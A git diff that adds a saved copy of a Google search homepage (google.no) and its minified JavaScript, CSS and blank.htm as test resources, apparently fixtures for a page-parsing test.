+var Sa=e.c("980"),Ta="gb gbq gbu gbzw gbpr gbq2 gbqf gbqff gbq3 gbq4 gbq1 gbqlw gbql gbx1 gbx2 gbx3 gbx4 gbg1 gbg3 gbg4 gbd1 gbd3 gbd4 gbs gbwc gbprc".split(" "),K=["gbzw"],O=e.a(""),Ua=e.a(""),P=[],S=!0,U=function(b){try{a.close();var d=e.c("27");"xxl"==b?(T("gbexxl"),d=e.c("27")):"xl"==b?(T("gbexl"),d=e.c("27")):"lg"==b?(T(""),d=
+e.c("27")):"md"==b?(T("gbem"),d=e.c("27")):"sm"==b?T("gbes"):"ty"==b?T("gbet"):"ut"==b&&T("gbeu");if(window.opera){var f=K.length;for(b=0;b<f;b++){var c=t(K[b]);if(c){var n=c.style.display;c.style.display="none";b+=0*c.clientHeight;c.style.display=n}}}a.sps(d)}catch(p){s(p,"stem")}},Va=u(U,"xxl"),Wa=u(U,"xl"),Xa=u(U,"lg"),Ya=u(U,"md"),Za=u(U,"sm"),$a=u(U,"ty"),ab=u(U,"ut"),X=function(b){try{U(b);var d=e.j("Height"),f=e.j("Width"),
+c=A;switch(b){case "ut":c=E;break;case "ty":c=D;break;case "sm":c=C;break;case "md":c=B;break;case "lg":c=A;break;case "xl":c=z;break;case "xxl":c=y}V(d,f,b,c);W()}catch(n){s(n,"seme")}},bb=function(b){try{P.push(b)}catch(d){s(d,"roec")}},Y=function(){if(S)try{for(var b=0,d;d=P[b];++b)d(i)}catch(f){s(f,"eoec")}},cb=function(b){try{return S=b}catch(d){s(d,"ear")}},db=function(){var b=e.j("Height"),d=e.j("Width"),f=A,c="lg";if(d<pa&&O)c="ut",f=E;else if(d<oa&&O)c="ty",f=D;else if(d<na||b<j [...]
+f=C;else if(d<ma||b<ia)c="md",f=B;Ua&&(d>la&&b>ha&&(c="xl",f=z),d>ka&&b>ga&&(c="xxl",f=y));V(b,d,c,f);return c},W=function(){try{var b=t("gbx1");if(b){var d=a.rtl(t("gb")),f=b.clientWidth,b=f<=Sa,c=t("gb_70"),n=t("gbg4"),p=t("gbg6")||n;if(!v)if(c)v=c.clientWidth;else if(p)v=p.clientWidth;else return;if(!w){var q=t("gbg3");q&&(w=q.clientWidth)}var L=i.mo,r,k,j;switch(L){case "xxl":r=Ka;k=Ea;j=xa;break;case "xl":r=La;k=Fa;j=ya;break;case "md":r=Na;k=Ga;j=Aa;break;case "sm":r=Oa-F;k=Ha;j=Ba [...]
+Pa-F;k=Ia;j=Ca;break;case "ut":r=Qa-F;k=Ja;j=Da;break;default:r=Ma,k=I,j=za}var m=a.snw&&a.snw();m&&(j+=m+k);var m=v,x=t("gbg1");x&&(m+=x.clientWidth+k);(q=t("gbg3"))&&(m+=w+k);var Q=t("gbgs4dn");n&&!Q&&(m+=n.clientWidth+k);var ba=t("gbd4"),R=t("gb_71");R&&!ba&&(m+=R.clientWidth+k+I);m=Math.min(304,m);j+=r;var M=t("gbqfbw"),G=t("gbq4");G&&(j+=G.offsetWidth);M&&(M.style.display="",j+=M.clientWidth+Ra);var G=f-j,ca=t("gbqf"),da=t("gbqff"),h=a.gpcc&&a.gpcc();if(ca&&da&&!h){h=f-m-j;switch(L) [...]
+Math.min(h,wa);h=Math.max(h,ra);break;case "ty":h=Math.min(h,va);h=Math.max(h,qa);break;case "xl":h=Math.min(h,ua);h=Math.max(h,H);break;case "xxl":h=Math.min(h,ta);h=Math.max(h,H);break;default:h=Math.min(h,sa),h=Math.max(h,H)}ca.style.maxWidth=h+"px";da.style.maxWidth=h+"px";G-=h}var g=t("gbgs3");if(g){var L=236>=G,ea=a.cc(g,"gbsbc");L&&!ea?(a.ca(g,"gbsbc"),a.close()):!L&&ea&&(a.cr(g,"gbsbc"),a.close())}g=G;x&&(x.style.display="",g-=x.clientWidth+k);q&&(q.style.display="",g-=q.clientWi [...]
+!Q&&(g-=n.clientWidth+k);R&&!ba&&(g-=R.clientWidth+k+I);var n=Q?0:35,N=Q||t("gbi4t");if(N&&!c){g>n?(N.style.display="",N.style.maxWidth=g+"px"):N.style.display="none";p&&(p.style.width=g<v&&g>n?g+"px":"");var fa=t("gbgs4d"),p="left";v>g^d&&(p="right");N.style.textAlign=p;fa&&(fa.style.textAlign=p)}q&&0>g&&(g+=q.clientWidth,q.style.display="none");x&&0>g&&(g+=x.clientWidth,x.style.display="none");if(M&&(0>g||c&&g<c.clientWidth))M.style.display="none";var c=d?"right":"left",d=d?"left":"rig [...]
+gb=""!=J.style[c];b?(J.style[c]=f-J.clientWidth-r+"px",J.style[d]="auto"):(J.style[c]="",J.style[d]="");b!=gb&&a.swsc&&a.swsc(b)}}catch(hb){s(hb,"cb")}},V=function(b,d,f,c){i={};i.mo=f;i.vh=b;i.vw=d;i.es=c;f!=l&&(Y(),e.f&&e.f())},eb=function(b){y.h+=b;z.h+=b;A.h+=b;B.h+=b;C.h+=b;D.h+=b;E.h+=b},fb=function(){return i},ib=function(){try{if(!0==S){var b=l;l=db();if(b!=l)switch(l){case "ut":ab();break;case "ty":$a();break;case "sm":Za();break;case "md":Ya();break;case "xl":Wa();break;case "x [...]
+break;default:Xa()}}W()}catch(d){s(d,"sem")}},T=function(b){var d=t("gb");d&&Z(d,"gbexxli gbexli gbemi gbesi gbeti gbeui".split(" "));for(var d=[],f=0,c;c=Ta[f];f++)if(c=t(c)){switch(b){case "gbexxl":Z(c,"gbexl gbem gbes gbet gbeu".split(" "));a.ca(c,b);break;case "gbexl":Z(c,"gbexxl gbem gbes gbet gbeu".split(" "));a.ca(c,b);break;case "":Z(c,"gbexxl gbexl gbem gbes gbet gbeu".split(" "));a.ca(c,b);break;case "gbem":Z(c,"gbexxl gbexl gbes gbet gbeu".split(" "));a.ca(c,b);break;case [...]
+"gbexxl gbexl gbem gbet gbeu".split(" "));a.ca(c,b);break;case "gbet":Z(c,"gbexxl gbexl gbem gbes gbeu".split(" "));a.ca(c,b);break;case "gbeu":Z(c,"gbexxl gbexl gbem gbes gbet".split(" ")),a.ca(c,b)}d.push(c)}return d},Z=function(b,d){for(var f=0,c=d.length;f<c;++f)d[f]&&a.cr(b,d[f])},jb=function(){try{if(!0==S)switch(db()){case "ut":$("gbeui");break;case "ty":$("gbeti");break;case "sm":$("gbesi");break;case "md":$("gbemi");break;case "xl":$("gbexli");break;case "xxl":$("gbexxli");br [...]
+"semol")}},$=function(b){var d=t("gb");d&&a.ca(d,b)};a.eli=jb;a.elg=ib;a.elxxl=u(X,"xxl");a.elxl=u(X,"xl");a.ell=u(X,"lg");a.elm=u(X,"md");a.els=u(X,"sm");a.elr=fb;a.elc=bb;a.elx=Y;a.elh=eb;a.ela=cb;a.elp=W;a.upel=u(X,"lg");a.upes=u(X,"md");a.upet=u(X,"sm");jb();ib();a.mcf("el",{});}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var a=window.gbar;var d=function(){return document.getElementById("gbqfqw")},h=function(){return document.getElementById("gbqfq")},i=function(){return document.getElementById("gbqf")},j=function(){return document.getElementById("gbqfb")},l=function(b){var c=document.getElementById("gbqfaa");c.appendChild(b);k()},m=function(b){var c=document.getElementById("gbqfab");c.appendChild(b);k()},k=function(){var b=document.getElementById("gbqfqwb");if(b){var c=document.getElementB [...]
+if(c||e){var f="left",g="right";a.rtl(document.getElementById("gb"))&&(f="right",g="left");c&&(b.style[f]=c.offsetWidth+"px");e&&(b.style[g]=e.offsetWidth+"px")}}},n=function(b){a.qm(function(){a.qfhi(b)})};a.qfgw=d;a.qfgq=h;a.qfgf=i;a.qfas=l;a.qfae=m;a.qfau=k;a.qfhi=n;a.qfsb=j;}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var c=window.gbar.i.i;var e=window.gbar;var f="gbq1 gbq2 gbpr gbqfbwa gbx1 gbx2".split(" "),h=function(b){var a=document.getElementById("gbqld");if(a&&(a.style.display=b?"none":"block",a=document.getElementById("gbql")))a.style.display=b?"block":"none"},i=function(){try{for(var b=0,a;a=f[b];b++){var d=document.getElementById(a);d&&e.ca(d,"gbqfh")}e.elp&&e.elp();h(!0)}catch(g){c(g,"gas","ahcc")}},j=function(){try{for(var b=0,a;a=f[b];b++){var d=document.getElementById(a);d [...]
+k=function(){try{var b=document.getElementById(f[0]);return b&&e.cc(b,"gbqfh")}catch(a){c(a,"gas","ih")}};e.gpca=i;e.gpcr=j;e.gpcc=k;}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var b=window.gbar.i.i;var c=window.gbar;var f=function(d){try{var a=document.getElementById("gbom");a&&d.appendChild(a.cloneNode(!0))}catch(e){b(e,"omas","aomc")}};c.aomc=f;}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var a=window.gbar;a.mcf("pm",{p:""});}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var a=window.gbar;a.mcf("mm",{s:"1"});}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var d=window.gbar.i.i;var e=window.gbar;var f=e.i;var g=f.c("1",0),h=/\bgbmt\b/,i=function(a){try{var b=document.getElementById("gb_"+g),c=document.getElementById("gb_"+a);b&&f.l(b,h.test(b.className)?"gbm0l":"gbz0l");c&&f.k(c,h.test(c.className)?"gbm0l":"gbz0l")}catch(j){d(j,"sj","ssp")}g=a},k=e.qs,l=function(a){var b;b=a.href;var c=window.location.href.match(/.*?:\/\/[^\/]*/)[0],c=RegExp("^"+c+"/search\\?");if((b=c.test(b))&&!/(^|\\?|&)ei=/.test(a.href))if((b=window.goo [...]
+l(a)},n=function(){if(window.google&&window.google.sn){var a=/.*hp$/;return a.test(window.google.sn)?"":"1"}return"-1"};e.rp=n;e.slp=i;e.qs=m;e.qsi=l;}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{window.gbar.rdl();}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+</script> <style type="text/css">.gssb_c{border:0;position:absolute;z-index:989}.gssb_e{border:1px solid #ccc;border-top-color:#d9d9d9;box-shadow:0 2px 4px rgba(0,0,0,0.2);-webkit-box-shadow:0 2px 4px rgba(0,0,0,0.2);cursor:default}.gssb_f{visibility:hidden;white-space:nowrap}.gssb_k{border:0;display:block;position:absolute;top:0;z-index:988}.gsdd_a{border:none!important}.gsib_a{width:100%;padding:4px 6px 0}.gsib_a,.gsib_b{vertical-align:top}.gssb_a{padding:0 7px}.gssb_a,.gssb_a td{white [...]
+var _coarr = eval('(' + _co + ')');google.j[1]={cc:[],co:_coarr,bl:['mngb','gb_'],funcs:[
+{'n':'pcs','i':'gstyle','css':document.getElementById('gstyle').innerHTML,'is':'','r':true,'sc':true},{'n':'pc','i':'cst','h':document.getElementById('cst').innerHTML,'is':'','r':true,'sc':true},{'n':'pc','i':'main','h':_mstr,'is':'','r':true,'sc':true}]
+};})();</script><script data-url="/extern_chrome/7326c3a62f8db7be.js" id="ecs">function wgjp(){var xjs=document.createElement('script');xjs.src=document.getElementById('ecs').getAttribute('data-url');(document.getElementById('xjsd')|| document.body).appendChild(xjs);};</script><div id="xjsd"><script src="./google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ"></script><script src="./google.com_files/7326c3a62f8db7be.js"></script></div><div id="xjsi"><script>if(google.y)google.y.first=[ [...]
+if(!google.xjs){google.dstr=[];google.rein=[];window._=window._||{};window._._DumpException=function(e){throw e};if(google.timers&&google.timers.load.t){google.timers.load.t.xjsls=new Date().getTime();}google.dljp('/xjs/_/js/s/c,sb,cr,vm,cdos,tbui,mb,cfm,ablk,klc,kat,esp,bihu,kp,lu,m,amcl,erh,hv,lc,ob,rsn,sf,sfa,shb,tbpr,hsm,j,p,pcc,csi/rt\x3dj/ver\x3dMh9xkUj3sSw.en_US./am\x3dBA/d\x3d1/sv\x3d1/rs\x3dAItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ');google.xjs=1;}(function(){var a=!1,c=a,d;
+function l(b,f,k){k=b.offsetHeight?k-b.offsetHeight:k;f-=k;f=Math.max(f,0);b.style.height=f+"px";return f}
+function m(){if("web"==google.sn)n();else if(d){l(d,document.documentElement.clientHeight,
+document.body.offsetHeight)}}function p(){if(!("web"==google.sn||c))if(d=document.getElementById("footer")){window.addEventListener?window.addEventListener("resize",m,a):window.attachEvent("onresize",m);d.style.display="block";m();c=!0}}
+function n(){c&&(window.removeEventListener?window.removeEventListener("resize",m,a):window.detachEvent("onresize",m),c=a,(d=document.getElementById("footer"))&&(d.style.display="none"))}google.rein&&google.dstr&&(google.rein.push(function(){p()}),google.dstr.push(function(){n()}));window.google.frf=m;p();})();
+;google.pmc={c:{},sb:{"agen":false,"cgen":true,"client":"hp","dh":true,"ds":"","eqch":true,"fl":true,"host":"google.no","jsonp":true,"lyrs":29,"msgs":{"lcky":"I\u0026#39;m Feeling Lucky","lml":"Learn more","oskt":"Input tools","psrc":"This search was removed from your \u003Ca href=\"/history\"\u003EWeb History\u003C/a\u003E","psrl":"Remove","sbit":"Search by image","srch":"Google Search"},"ovr":{"ent":1,"ms":1},"pq":"","psy":"p","qcpw":false,"scd":10,"sce":4,"stok":"GU2NUs9lEC3s7Wgu4iQ_5 [...]
+for(var j=c=0,k;j<b;++j)k=i[j],k.complete||"string"!=typeof k.src||!k.src?++c:k.addEventListener?(k.addEventListener("load",h,!1),k.addEventListener("error",h,!1)):(k.attachEvent("onload",h),k.attachEvent("onerror",h));d=b-c;
+function l(){if(google.timers.load.t){google.timers.load.t.ol=(new Date).getTime();google.timers.load.t.iml=e;google.kCSI.imc=c;google.kCSI.imn=b;google.kCSI.imp=d;void 0!==google.stt&&(google.kCSI.stt=google.stt);google.csiReport&&google.csiReport()}}window.addEventListener?window.addEventListener("load",l,!1):window.attachEvent&&window.attachEvent("onload",l);google.timers.load.t.prt=e=(new Date).getTime();})();
+</script><script src="./google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ(1)"></script><table cellspacing="0" cellpadding="0" style="width: 570px; display: none; top: 339px; left: 374px; position: absolute;" class="gstl_0 gssb_c"><tbody><tr><td class="gssb_f"></td><td class="gssb_e" style="width: 100%;"></td></tr></tbody></table><style type="text/css">#nycntg{margin:6px 25px 10px 0}#nycp{background-color:#fafafa;border-left:1px solid #ebebeb;bottom:0;left:0;margin-left:33px;min-widt [...]
\ No newline at end of file
diff --git a/src/test/resources/s/google.com_files/7326c3a62f8db7be.js b/src/test/resources/s/google.com_files/7326c3a62f8db7be.js
new file mode 100644
index 0000000..f10a6f1
--- /dev/null
+++ b/src/test/resources/s/google.com_files/7326c3a62f8db7be.js
@@ -0,0 +1 @@
+(function(){var je=google.j,dr=0,fp='7326c3a62f8db7be',_loc='',_ss=0;je.api({'n':'ac','c':{},'fp':fp,'r':dr,'sc':0,'is':_loc,'ss':_ss});je.api({'n':'pcs','i':'gstyle','css':'body{color:#000;margin:0;overflow-y:scroll}body,#leftnav,#tbdi,#hidden_modes,#hmp{background:#fff}a.gb1,a.gb2,a.gb3,.link{color:#12c!important}.ts{border-collapse:collapse}.ts td{padding:0}.ti,.bl,#res h3{display:inline}.ti{display:inline-table}#tads a.mblink,#tads a.mblink b,#tadsb a.mblink,#tadsb a.mblink b,#rhs a. [...]
\ No newline at end of file
diff --git a/src/test/resources/s/google.com_files/blank.htm b/src/test/resources/s/google.com_files/blank.htm
new file mode 100644
index 0000000..7ba2098
--- /dev/null
+++ b/src/test/resources/s/google.com_files/blank.htm
@@ -0,0 +1,3 @@
+
+<!-- saved from url=(0032)https://www.google.no/blank.html -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ b/src/test/resources/s/google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ
new file mode 100644
index 0000000..a44c1d8
--- /dev/null
+++ b/src/test/resources/s/google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ
@@ -0,0 +1,1439 @@
+var _=_||{};(function(_){
+try{
+_.aa=function(a){throw a;};_.ba=void 0;_.j=!0;_.l=null;_.m=!1;_.ca=function(){return function(a){return a}};_.ea=function(){return function(){}};_.fa=function(a){return function(b){this[a]=b}};_.ga=function(a){return function(){return this[a]}};_.E=function(a){return function(){return a}};_.ha=function(a,b,c){a=a.split(".");c=c||_.ia;!(a[0]in c)&&c.execScript&&c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&(0,_.ja)(b)?c[d]=b:c=c[d]?c[d]:c[d]={}};_.ka=function(){};
+_.la=function(a){a.I=function(){return a.kQ?a.kQ:a.kQ=new a}};
+_.na=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof window.Array)return"array";if(a instanceof window.Object)return b;var c=window.Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable& [...]
+else if("function"==b&&"undefined"==typeof a.call)return"object";return b};_.ja=function(a){return a!==_.ba};_.oa=function(a){return"array"==(0,_.na)(a)};_.pa=function(a){var b=(0,_.na)(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.ua=function(a){return"string"==typeof a};_.va=function(a){return"number"==typeof a};_.Ja=function(a){return"function"==(0,_.na)(a)};_.Oa=function(a){var b=typeof a;return"object"==b&&a!=_.l||"function"==b};_.Va=function(a){return a[_.Wa]||(a[_ [...]
+_.baa=function(a,b,c){return a.call.apply(a.bind,arguments)};_.caa=function(a,b,c){a||(0,_.aa)((0,window.Error)());if(2<arguments.length){var d=window.Array.prototype.slice.call(arguments,2);return function(){var c=window.Array.prototype.slice.call(arguments);window.Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}};
+_.Xa=function(a,b,c){_.Xa=window.Function.prototype.bind&&-1!=window.Function.prototype.bind.toString().indexOf("native code")?_.baa:_.caa;return _.Xa.apply(_.l,arguments)};_.Za=function(a,b){var c=window.Array.prototype.slice.call(arguments,1);return function(){var b=window.Array.prototype.slice.call(arguments);b.unshift.apply(b,c);return a.apply(this,b)}};_.ab=function(a,b){function c(){}c.prototype=b.prototype;a.Sa=b.prototype;a.prototype=new c;a.prototype.constructor=a};
+_.bb=function(a){window.Error.captureStackTrace?window.Error.captureStackTrace(this,_.bb):this.stack=(0,window.Error)().stack||"";a&&(this.message=(0,window.String)(a))};_.eb=function(a,b){return 0==a.lastIndexOf(b,0)};_.fb=function(a,b){var c=a.length-b.length;return 0<=c&&a.indexOf(b,c)==c};_.gb=function(a){return/^[\s\xa0]*$/.test(a==_.l?"":(0,window.String)(a))};_.hb=function(a){return a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")};_.ib=function(a){return(0,window.encodeURIComponent)((0,win [...]
+_.jb=function(a,b){if(b)return a.replace(_.kb,"&").replace(_.lb,"<").replace(_.mb,">").replace(_.ob,""");if(!_.daa.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(_.kb,"&"));-1!=a.indexOf("<")&&(a=a.replace(_.lb,"<"));-1!=a.indexOf(">")&&(a=a.replace(_.mb,">"));-1!=a.indexOf('"')&&(a=a.replace(_.ob,"""));return a};_.pb=function(a){return(0,window.String)(a).replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g,"\\$1").replace(/\x08/g,"\\x08")};
+_.qb=function(a){var b=(0,window.Number)(a);return 0==b&&/^[\s\xa0]*$/.test(a)?window.NaN:b};_.rb=function(a){return(0,window.String)(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};_.vb=function(a){return(0,window.String)(a).replace(/([A-Z])/g,"-$1").toLowerCase()};_.eaa=function(a,b,c){for(var d=(0,_.ua)(a)?a.split(""):a,e=a.length-1;0<=e;--e)e in d&&b.call(c,d[e],e,a)};_.wb=function(a,b){return 0<=(0,_.xb)(a,b)};_.yb=function(a,b){(0,_.wb)(a,b)||a.push(b)};
+_.zb=function(a,b){var c=(0,_.xb)(a,b),d;(d=0<=c)&&_.Db.splice.call(a,c,1);return d};_.Eb=function(a){return _.Db.concat.apply(_.Db,arguments)};_.Fb=function(a){var b=a.length;if(0<b){for(var c=(0,window.Array)(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};
+_.Gb=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c],e;if((0,_.oa)(d)||(e=(0,_.pa)(d))&&window.Object.prototype.hasOwnProperty.call(d,"callee"))a.push.apply(a,d);else if(e)for(var f=a.length,g=d.length,h=0;h<g;h++)a[f+h]=d[h];else a.push(d)}};_.Hb=function(a,b,c,d){return _.Db.splice.apply(a,(0,_.Ib)(arguments,1))};_.Ib=function(a,b,c){return 2>=arguments.length?_.Db.slice.call(a,b):_.Db.slice.call(a,b,c)};
+_.Jb=function(a,b){for(var c=b||a,d={},e=0,f=0;f<a.length;){var g=a[f++],h=(0,_.Oa)(g)?"o"+(0,_.Va)(g):(typeof g).charAt(0)+g;window.Object.prototype.hasOwnProperty.call(d,h)||(d[h]=_.j,c[e++]=g)}c.length=e};_.Kb=function(a,b){return a>b?1:a<b?-1:0};_.Lb=function(){};_.Mb=function(a){if(a instanceof _.Lb)return a;if("function"==typeof a.SA)return a.SA(_.m);if((0,_.pa)(a)){var b=0,c=new _.Lb;c.B=function(){for(;;){b>=a.length&&(0,_.aa)(_.Nb);if(b in a)return a[b++];b++}};return c}(0,_.aa) [...]
+_.Ob=function(a,b,c){if((0,_.pa)(a))try{(0,_.Qb)(a,b,c)}catch(d){d!==_.Nb&&(0,_.aa)(d)}else{a=(0,_.Mb)(a);try{for(;;)b.call(c,a.B(),_.ba,a)}catch(e){e!==_.Nb&&(0,_.aa)(e)}}};_.Rb=function(a,b,c){for(var d in a)b.call(c,a[d],d,a)};_.Tb=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};_.Ub=function(a){var b=[],c=0,d;for(d in a)b[c++]=d;return b};_.Vb=function(a){for(var b in a)return _.m;return _.j};
+_.Wb=function(a,b){for(var c,d,e=1;e<arguments.length;e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<_.Xb.length;f++)c=_.Xb[f],window.Object.prototype.hasOwnProperty.call(d,c)&&(a[c]=d[c])}};_.Yb=function(a){if("function"==typeof a.Zy)return a.Zy();if((0,_.ua)(a))return a.split("");if((0,_.pa)(a)){for(var b=[],c=a.length,d=0;d<c;d++)b.push(a[d]);return b}return(0,_.Tb)(a)};
+_.Zb=function(a){if("function"==typeof a.UA)return a.UA();if("function"!=typeof a.Zy){if((0,_.pa)(a)||(0,_.ua)(a)){var b=[];a=a.length;for(var c=0;c<a;c++)b.push(c);return b}return(0,_.Ub)(a)}};_.$b=function(a,b,c){if("function"==typeof a.forEach)a.forEach(b,c);else if((0,_.pa)(a)||(0,_.ua)(a))(0,_.Qb)(a,b,c);else for(var d=(0,_.Zb)(a),e=(0,_.Yb)(a),f=e.length,g=0;g<f;g++)b.call(c,e[g],d&&d[g],a)};
+_.ac=function(a,b){this.D={};this.B=[];var c=arguments.length;if(1<c){c%2&&(0,_.aa)((0,window.Error)("Uneven number of arguments"));for(var d=0;d<c;d+=2)this.set(arguments[d],arguments[d+1])}else if(a){a instanceof _.ac?(c=a.UA(),d=a.Zy()):(c=(0,_.Ub)(a),d=(0,_.Tb)(a));for(var e=0;e<c.length;e++)this.set(c[e],d[e])}};_.bc=function(a,b){return(0,_.cc)(a.D,b)};_.faa=function(a,b){return a===b};
+_.dc=function(a){if(a.Sp!=a.B.length){for(var b=0,c=0;b<a.B.length;){var d=a.B[b];(0,_.cc)(a.D,d)&&(a.B[c++]=d);b++}a.B.length=c}if(a.Sp!=a.B.length){for(var e={},c=b=0;b<a.B.length;)d=a.B[b],(0,_.cc)(e,d)||(a.B[c++]=d,e[d]=1),b++;a.B.length=c}};_.cc=function(a,b){return window.Object.prototype.hasOwnProperty.call(a,b)};_.ec=function(){return _.ia.navigator?_.ia.navigator.userAgent:_.l};_.fc=function(){return _.ia.navigator};_.gc=function(){var a=_.ia.document;return a?a.documentMode:_.ba};
+_.hc=function(a){var b;if(!(b=_.ic[a])){b=0;for(var c=(0,_.hb)((0,window.String)(_.jc)).split("."),d=(0,_.hb)((0,window.String)(a)).split("."),e=window.Math.max(c.length,d.length),f=0;0==b&&f<e;f++){var g=c[f]||"",h=d[f]||"",i=(0,window.RegExp)("(\\d*)(\\D*)","g"),n=(0,window.RegExp)("(\\d*)(\\D*)","g");do{var p=i.exec(g)||["","",""],k=n.exec(h)||["","",""];if(0==p[0].length&&0==k[0].length)break;b=((0==p[1].length?0:(0,window.parseInt)(p[1],10))<(0==k[1].length?0:(0,window.parseInt)(k[1 [...]
+(0==p[1].length?0:(0,window.parseInt)(p[1],10))>(0==k[1].length?0:(0,window.parseInt)(k[1],10))?1:0)||((0==p[2].length)<(0==k[2].length)?-1:(0==p[2].length)>(0==k[2].length)?1:0)||(p[2]<k[2]?-1:p[2]>k[2]?1:0)}while(0==b)}b=_.ic[a]=0<=b}return b};_.kc=function(a){return _.lc&&_.gaa>=a};_.mc=function(){};_.nc=function(a,b){a.Lf||(a.Lf=[]);a.Lf.push(b)};_.oc=function(a){a&&"function"==typeof a.dispose&&a.dispose()};
+_.pc=function(a){for(var b=0,c=arguments.length;b<c;++b){var d=arguments[b];(0,_.pa)(d)?_.pc.apply(_.l,d):(0,_.oc)(d)}};_.qc=function(a,b){this.qC=[];this.N=a;this.M=b||_.l};_.rc=function(a,b,c){a.KC=_.j;a.D=c;a.oF=!b;(0,_.sc)(a)};_.tc=function(a){a.KC&&(a.iM||(0,_.aa)(new _.uc(a)),a.iM=_.m)};_.vc=function(a){return(0,_.wc)(a.qC,function(a){return(0,_.Ja)(a[1])})};
+_.sc=function(a){a.H&&(a.KC&&(0,_.vc)(a))&&(_.ia.clearTimeout(a.H),delete a.H);a.B&&(a.B.oz--,delete a.B);for(var b=a.D,c=_.m,d=_.m;a.qC.length&&!a.HJ;){var e=a.qC.shift(),f=e[0],g=e[1],e=e[2];if(f=a.oF?g:f)try{var h=f.call(e||a.M,b);(0,_.ja)(h)&&(a.oF=a.oF&&(h==b||h instanceof window.Error),a.D=b=h);b instanceof _.qc&&(d=_.j,a.HJ=_.j)}catch(i){b=i,a.oF=_.j,(0,_.vc)(a)||(c=_.j)}}a.D=b;d&&(d=b,h=(0,_.Xa)(a.lO,a,_.j),f=(0,_.Xa)(a.lO,a,_.m),d.qC.push([h,f,_.ba]),d.KC&&(0,_.sc)(d),b.JV=_.j); [...]
+0))};_.uc=function(){_.bb.call(this)};_.xc=function(){_.bb.call(this)};_.yc=function(a){return function(){return a}};_.haa=function(a){return function(){(0,_.aa)((0,window.Error)(a))}};_.zc=function(){};_.Ac=function(a,b){this.B=a;this.D=b};_.Bc=function(a,b){this.xO=a;this.zn=b;this.D=[];this.B=[];this.H=[]};_.Cc=function(a,b,c){a=[];for(var d=0;d<b.length;d++)try{b[d].execute(c)}catch(e){a.push(e)}b.length=0;return a.length?a:_.l};
+_.Dc=function(){this.Ay={};this.D=[];this.H=[];this.B=[];this.M=[];this.X={};this.N=this.S=new _.Bc([],"")};_.Ec=function(a){var b=a.pQ,c=a.isActive();c!=b&&((0,_.Fc)(a,c?"active":"idle"),a.pQ=c);b=0<a.M.length;b!=a.uS&&((0,_.Fc)(a,b?"userActive":"userIdle"),a.uS=b)};_.Gc=function(a,b,c){var d=[];(0,_.Jb)(b,d);b=[];for(var e={},f=0;f<d.length;f++){var g=d[f],h=a.Ay[g],i=new _.qc;e[g]=i;h.eD?i.Hx(a.HQ):((0,_.iaa)(a,g,h,!!c,i),(0,_.Hc)(a,g)||b.push(g))}0<b.length&&(0,_.Ic)(a,b);return e};
+_.iaa=function(a,b,c,d,e){c.qI(e.Hx,e);c.B.push(new _.Ac(function(a){a=(0,window.Error)(a);(0,_.tc)(e);(0,_.rc)(e,_.m,a)},_.ba));(0,_.Hc)(a,b)?d&&((0,_.wb)(a.M,b)||a.M.push(b),(0,_.Ec)(a)):d&&((0,_.wb)(a.M,b)||a.M.push(b))};_.Ic=function(a,b){0==a.D.length?(0,_.Jc)(a,b):(a.B.push(b),(0,_.Ec)(a))};
+_.Jc=function(a,b,c,d){c||(a.CG=0);for(var e=0;e<b.length;e++)a.Ay[b[e]].eD&&(0,_.aa)((0,window.Error)("Module already loaded: "+b[e]));c=[];for(e=0;e<b.length;e++)c=c.concat((0,_.Kc)(a,b[e]));(0,_.Jb)(c);!a.FJ&&1<c.length&&(e=c.shift(),a.B=(0,_.Lc)(c,function(a){return[a]}).concat(a.B),c=[e]);a.D=c;a.FJ?a.H=b:a.H=(0,_.Fb)(c);(0,_.Ec)(a);b=(0,_.Xa)(a.tL.X,a.tL,(0,_.Fb)(c),a.Ay,_.l,(0,_.Xa)(a.lY,a),(0,_.Xa)(a.mY,a),!!d);(a=5E3*window.Math.pow(a.CG,2))?window.setTimeout(b,a):b()};
